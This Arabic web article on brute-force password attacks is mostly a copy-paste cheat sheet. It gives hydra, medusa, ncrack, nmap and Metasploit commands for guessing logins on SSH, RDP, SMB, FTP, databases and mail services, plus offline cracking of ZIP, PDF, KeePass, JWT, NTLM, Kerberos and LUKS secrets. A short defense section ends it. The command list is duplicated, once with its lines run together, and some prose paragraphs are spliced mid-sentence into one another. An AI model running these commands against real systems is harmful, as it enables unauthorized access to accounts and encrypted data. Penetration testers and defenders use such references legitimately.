هجوم القوة الغاشمة - Brute-Force Attack
تبدأ هجمات القاموس ببعض التخمينات حول كلمات المرور الشائعة لمحاولة التخمين من القائمة الموجودة في القاموس. تميل هذه الهجمات إلى أن تكون قديمة نوعًا ما ، نظرًا لتقنيات أحدث وأكثر فعالية.
أجهزة الكمبيوتر الحديثة التي تم تصنيعها خلال السنوات العشر الماضية يمكنها كسر كلمة مرور مكونة من 8 أحرف أبجدية رقمية - الأحرف الكبيرة والصغيرة والأرقام والأحرف الخاصة - في حوالي ساعتين.
أجهزة الكمبيوتر سريعة للغاية بحيث يمكنها فك تشفير الهاش (بتشفير ضعيف) في غضون أشهر . تُعرف هذه الأنواع من هجمات القوة الغاشمة بالبحث الشامل عن المفاتيح ، حيث يحاول الكمبيوتر كل مجموعة ممكنة للعثور على المجموعة الصحيحة.
إعادة تدوير بيانات الاعتماد هو نوع آخر من هجمات القوة الغاشمة التي تعيد استخدام أسماء المستخدمين وكلمات المرور من تسريبات البيانات الأخرى لمحاولة اختراق أنظمة أخرى.
يستخدم هجوم القوة الغاشمة العكسي كلمة مرور شائعة مثل "Password" أو "123456" . نظرًا لأن كلمة المرور هي واحدة من أكثر كلمات المرور شيوعًا في عام 2017 ، فإن هذه التقنية أكثر نجاحًا مما تعتقد.
الدوافع وراء هجمات القوة الغاشمة

تحدث هجمات القوة الغاشمة في المراحل الأولى من سلسلة القتل السيبراني Cyber Kill Chain ، عادةً خلال مرحلتي الاستطلاع والتسلل.
يحتاج المهاجمون إلى الوصول لنقاط الدخول إلى أهدافهم ، وتقنيات القوة الغاشمة هي طريقة للحصول على هذا الوصول.
بمجرد دخولهم إلى الشبكة ، يمكن للمهاجمين استخدام تقنيات القوة الغاشمة لتصعيد امتيازاتهم أو لتشغيل هجمات الرجوع إلى إصدار أقدم من التشفير.
يستخدم المهاجمون أيضًا هجمات القوةتحدث هجمات القوة الغاشمة في المراحل الأولى من سلسلة القتل السيبراني Cyber Kill Chain ، عادةً خلال مرحلتي الاستطلاع والتسلل.
يحتاج المهاجمون إلى الوصول لنقاط الدخول إلى أهدافهم ، وتقنيات القوة الغاشمة هي طريقة للحصول على هذا الوصول.
بمجرد دخولهم إلى الشبكة ، يمكن للمهاجمين استخدام تقنيات القوة الغاشمة لتصعيد امتيازاتهم أو لتشغيل هجمات الرجوع إلى إصدار أقدم من التشفير.
يستخدم المهاجمون أيضًا هجمات القوة الغاشمة للبحث عن صفحات الويب المخفية. صفحات الويب المخفية هي مواقع ويب موجودة على الإنترنت غير مفهرسة في محركات البحث وغير مرتبطة بصفحات أخرى مثل صفحات لوحة تحكم مدير الموقع Login والكونفيج وغيرها .
يختبر هجوم القوة الغاشمة عناوين URLS مختلفة لمعرفة ما إذا كانت تُعيد صفحة ويب صالحة Response code 200، وسوف تبحث عن صفحة يمكنهم استغلالها.
أشياء مثل ثغرة برمجية في الشفرة يمكن استخدامها للاختراق - مثل الثغرة المستخدمة للتسلل إلى Equifax ، أو صفحة ويب تحتوي على قائمة بأسماء المستخدمين وكلمات المرور المكشوفة للعامة .
هناك القليل من الابداع في هجوم القوة العمياء ، لذلك يمكن للمهاجمين أتمتة (Automate) العديد من الهجمات لتعمل بالتوازي Threading لتوسيع امكانية العثور على النتيجة المنشودة بالنسبة لهم . الغاشمة للبحث عن صفحات الويب المخفية. صفحات الويب المخفية هي مواقع ويب موجودة على الإنترنت غير مفهرسة في محركات البحث وغير مرتبطة بصفحات أخرى مثل صفحات لوحة تحكم مدير الموقع Login والكونفيج وغيرها .
يختبر هجوم القوة الغاشمة عناوين URLS مختلفة لمعرفة ما إذا كانت تُعيد صفحة ويب صالحة Response code 200، وسوف تبحث عن صفحة يمكنهم استغلالها.
أشياء مثل ثغرة برمجية في الشفرة يمكن استخدامها للاختراق - مثل الثغرة المستخدمة للتسلل إلى Equifax ، أو صفحة ويب تحتوي على قائمة بأسماء المستخدمين وكلمات المرور المكشوفة للعامة .
كيفية اختراق الخدمات بواسطة التخمين Brute-Force Services Password-Cracking
- <IP> او RHOSTS تعوضه بال اي بي الخاص بالسرفر المستهدف
- <PATH_PASSWDS> او passwords.txt تستبدله بملف يحتوي على قائمة كلمات مرور
- <PATH_USERS> او <username> تستبدله بملف يحتوي على قائمة اسماء المستخدمين مثل ADMIN , ROOT, USER
- RPORT تقوم باستبدالها بالبورت المراد اختراقه
اختراق الخدمات Brute-Force Attack Services
nmap -p 548 --script afp-brute <IP>msf> use auxiliary/scanner/afp/afp_loginmsf> set BLANK_PASSWORDS truemsf> set USER_AS_PASS truemsf> set PASS_FILE <PATH_PASSWDS>msf> set USER_FILE <PATH_USERS>msf> run
nmap --script ajp-brute -p 8009 <IP>
nmap --script cassandra-brute -p 9160 <IP>
msf> use auxiliary/scanner/couchdb/couchdb_loginhydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
hydra -l root -P passwords.txt [-t 32] <IP> ftpncrack -p 21 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/# Use https-get mode for httpSmedusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V# Use https-post-form mode for httpSFor https you have to change from "http-post-form" to "https-post-form"
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -Vnmap -sV --script imap-brute -p <PORT> <IP>
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
nmap --script ldap-brute -p 389 <IP>
nmap -sV --script mongodb-brute -n -p 27017 <IP>use auxiliary/scanner/mongodb/mongodb_login
hydra -L usernames.txt -P pass.txt <IP> mysqlmsf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017./odat.py passwordguesser -s $SERVER -d $SID./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt#msf1msf> use admin/oracle/oracle_loginmsf> set RHOSTS <IP>msf> set RPORT 1521msf> set SID <SID>#msf2, this option uses nmap and it fails sometimes for some reasonmsf> use scanner/oracle/oracle_loginmsf> set RHOSTS <IP>msf> set RPORTS 1521msf> set SID <SID>#nmap fails sometimes for some reson executing this scriptnmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
pip3 install cx_Oracle --upgrade
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgresmedusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgresncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txtuse auxiliary/scanner/postgres/postgres_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
sudo dpkg -i thc-pptp-bruter*.deb #Install the packagecat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
ncrack -vv --user <User> -P pwds.txt rdp://<IP>hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
msf> use auxiliary/scanner/redis/redis_loginnmap --script redis-brute -p 6379 <IP>hydra –P /path/pass.txt <IP> redis
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
hydra -L <Username_list> rsh://<Victim_IP> -v -Vhttp://pentestmonkey.net/tools/misc/rsh-grind
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
hydra -l root -P passwords.txt <IP> rtsp
msf> use auxiliary/scanner/snmp/snmp_loginnmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
nmap --script smb-brute -p 445 <IP>hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -Vhydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
#Use the NetBIOS name of the machine as domaincrackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txthydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssqlmedusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssqlnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accountsmsf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
hydra -l root -P passwords.txt [-t 32] <IP> sshncrack -p 22 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
hydra -l root -P passwords.txt [-t 32] <IP> telnetncrack -p 23 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vncmedusa -h <IP> –u root -P /root/Desktop/pass.txt –M vncncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>Tpatator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zipzip2john file.zip > zip.johnjohn zip.john
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z#Download and install requirements for 7z2johnwget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.plapt-get install libcompress-raw-lzma-perl./7z2john.pl file.7z > 7zhash.john
apt-get install pdfcrackpdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt#pdf2john didnt worked well, john didnt know which hash type was# To permanently decrypt the pdfsudo apt-get install qpdfqpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
git clone https://github.com/Sjord/jwtcrack.gitcd jwtcrack#Bruteforce using crackjwt.pypython crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt#Bruteforce using johnpython jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.johnjohn jwt.john #It does not work with Kali-John
Format:USUARIO:ID:HASH_LM:HASH_NT:::jhon --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hasheshashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
sudo apt-get install -y kpcli #Install keepass tools like keepass2johnkeepass2john file.kdbx > hash #The keepass is only using passwordkeepass2john -k <file-password> file.kdbx > hash # The keepas is also using a file as a needed credential#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2johnjohn --wordlist=/usr/share/wordlists/rockyou.txt hash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoasthashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
bruteforce-luks -f ./list.txt ./backup.imgcryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1hashcat -m 14600 luckshashcryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt
#John hash format<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
hash-identifier <هنا تلصق الهاش بدون اقواس>
john --wordlist=words.txt --rules --stdout > w_mutated.txtjohn --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
hashcat --example-hashes | grep -B1 -A2 "NTLM"Cracking Linux Hashes - /etc/shadow file500 | md5crypt $1$, MD5(Unix) | Operating-Systems3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems1800 | sha512crypt $6$, SHA512(Unix) | Operating-SystemsCracking Windows Hashes3000 | LM | Operating-Systems1000 | NTLM | Operating-SystemsCracking Common Application Hashes900 | MD4 | Raw Hash0 | MD5 | Raw Hash5100 | Half MD5 | Raw Hash100 | SHA1 | Raw Hash10800 | SHA-384 | Raw Hash1400 | SHA-256 | Raw Hash1700 | SHA-512 | Raw Hash
مواقع فك تشفير الهاش اونلاين Online cracking databases
- https://www.onlinehashcrack.com/ (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
- https://crackstation.net/ (Hashes)
- https://md5decrypt.net/ (MD5)
- https://gpuhash.me/ (Hashes and file hashes)
- https://hashes.org/search.php (Hashes)
- https://www.cmd5.org/ (Hashes)
- https://hashkiller.io/listmanager (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
- https://www.md5online.org/md5-decrypt.html (MD5)
كيفية الحماية ضد هجمات Brute Force Attack
تحتاج هجمات القوة الغاشمة إلى وقت كبير لكسر كلمات المرور. قد تستغرق بعض الهجمات أسابيع أو حتى شهورًا لتقديم أي شيء يمكن استخدامه.
تتضمن معظم الدفاعات ضد هجمات القوة الغاشمة زيادة الوقت اللازم للنجاح بما يتجاوز ما هو ممكن تقنيًا ، لكن هذا ليس الدفاع الوحيد.
الحد من محاولات تسجيل الدخول : تزيد هجمات AFP
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
AJP
nmap --script ajp-brute -p 8009 <IP>
Cassandra
nmap --script cassandra-brute -p 9160 <IP>
CouchDB
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
Elasticsearch
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
FTP اختراق بروتوكول نقل الملفات
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
HTTP Generic Brute
WFuzz
HTTP Basic Auth
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for httpS
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
HTTP - Post Form
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for httpS
For https you have to change from "http-post-form" to "https-post-form"
HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
IMAP
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
IRC
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
ISCSI
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
LDAP
nmap --script ldap-brute -p 389 <IP>
Mongo
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
MySQL اختراق قواعد البيانات
hydra -L usernames.txt -P pass.txt <IP> mysql
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
OracleSQL
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
#nmap fails sometimes for some reson executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
In order to use oracle_login with patator you need to install:
pip3 install cx_Oracle --upgrade
Offline OracleSQL hash bruteforce (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3):
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
POP
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
PostgreSQL
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
PPTP
You can download the .deb package to install from https://http.kali.org/pool/main/t/thc-pptp-bruter/
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
RDP اختراق ريموت ديسك توب
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
Redis
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt <IP> redis
Rexec
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
Rlogin
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
Rsh
hydra -L <Username_list> rsh://<Victim_IP> -v -V
http://pentestmonkey.net/tools/misc/rsh-grind
Rsync
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
RTSP
hydra -l root -P passwords.txt <IP> rtsp
SNMP
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
SMB
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
SMTP
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
SQL Server
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
SSH
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
Telnet
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
VNC
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
Winrm
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
كيفية فتح ملف Zip محمي بكلمة سر
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
كيفية فتح ملف 7z محمي بكلمة سر
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
كيفية فتح ملف PDF محمي بكلمة سر
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didnt worked well, john didnt know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
JWT
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
NTLM cracking
Format:USUARIO:ID:HASH_LM:HASH_NT:::
jhon --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
Keepass
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepas is also using a file as a needed credential
#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Keberoasting
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Lucks image
Method 1
Install: bruteforce-luks
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
Method 2
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 luckshash
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
Mysql
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
Tools
Hash examples: https://openwall.info/wiki/john/sample-hashes
معرفة نوع تشفير الهاش Hash-identifier
hash-identifier <هنا تلصق الهاش بدون اقواس>
توليد كلمات مرور John mutation
Read /etc/john/john.conf and configure it
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
Hashcat
hashcat --example-hashes | grep -B1 -A2 "NTLM"
Cracking Linux Hashes - /etc/shadow file
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
Cracking Windows Hashes
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
Cracking Common Application Hashes
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
مواقع فك تشفير الهاش اونلاين Online cracking databases
https://www.onlinehashcrack.com/ (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
https://crackstation.net/ (Hashes)
https://md5decrypt.net/ (MD5)
https://gpuhash.me/ (Hashes and file hashes)
https://hashes.org/search.php (Hashes)
https://www.cmd5.org/ (Hashes)
https://hashkiller.io/listmanager (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
https://www.md5online.org/md5-decrypt.html (MD5)
كيفية الحماية ضد هجمات Brute Force Attack
تحتاج هجمات القوة الغاشمة إلى وقت كبير لكسر كلمات المرور. قد تستغرق بعض الهجمات أسابيع أو حتى شهورًا لتقديم أي شيء يمكن استخدامه.
تتضمن معظم الدفاعات ضد هجمات القوة الغاشمة زيادة الوقت اللازم للنجاح بما يتجاوز ما هو ممكن تقنيًا ، لكن هذا ليس الدفاع الوحيد.
زيادة طول كلمة المرور : المزيد من الأحرف يساوي وقتًا أطول لقوة الكراك
زيادة تعقيد كلمة المرور : تؤدي المزيد من الخيارات لكل حرف أيضًا إلى زيادة الوقت اللازم لإجبار الكراك.
الحد من محاولات تسجيل الدخول : تزيد هجمات القوة الغاشمة من محاولات تسجيل الدخول الفاشلة في معظم خدمات الدليل - الدفاع الجيد ضد هجمات القوة الغاشمة هو حظر المستخدمين بعد بضع محاولات فاشلة (بعد 5 محاولات فاشلة مثلا)، وبالتالي إبطال هجوم التخمين قيد التقدم.
تفعيل Captcha : يعد Captcha نظامًا شائعًا للتحقق من أن الإنسان هو إنسان على مواقع الويب ويمكنه إيقاف هجمات القوة الغاشمة الجارية
استخدام المصادقة متعددة العوامل: تضيف المصادقة متعددة العوامل طبقة ثانية من الأمان لكل محاولة تسجيل دخول تتطلب تدخلاً بشريًا يمكن أن يوقف هجوم القوة الغاشمة من النجاح
تبدأ الطريقة الاستباقية لوقف هجمات القوة الغاشمة بالمراقبة. يراقب Varonis نشاط Active Directory وحركة مرور VPN لاكتشاف هجمات القوة الغاشمة الجارية.
من الأفضل اكتشاف هجوم قيد التقدم وإيقاف الهجوم بفاعلية بدلاً من أن تأمل أن تكون كلمات مرورك غير قابلة للاختراق.
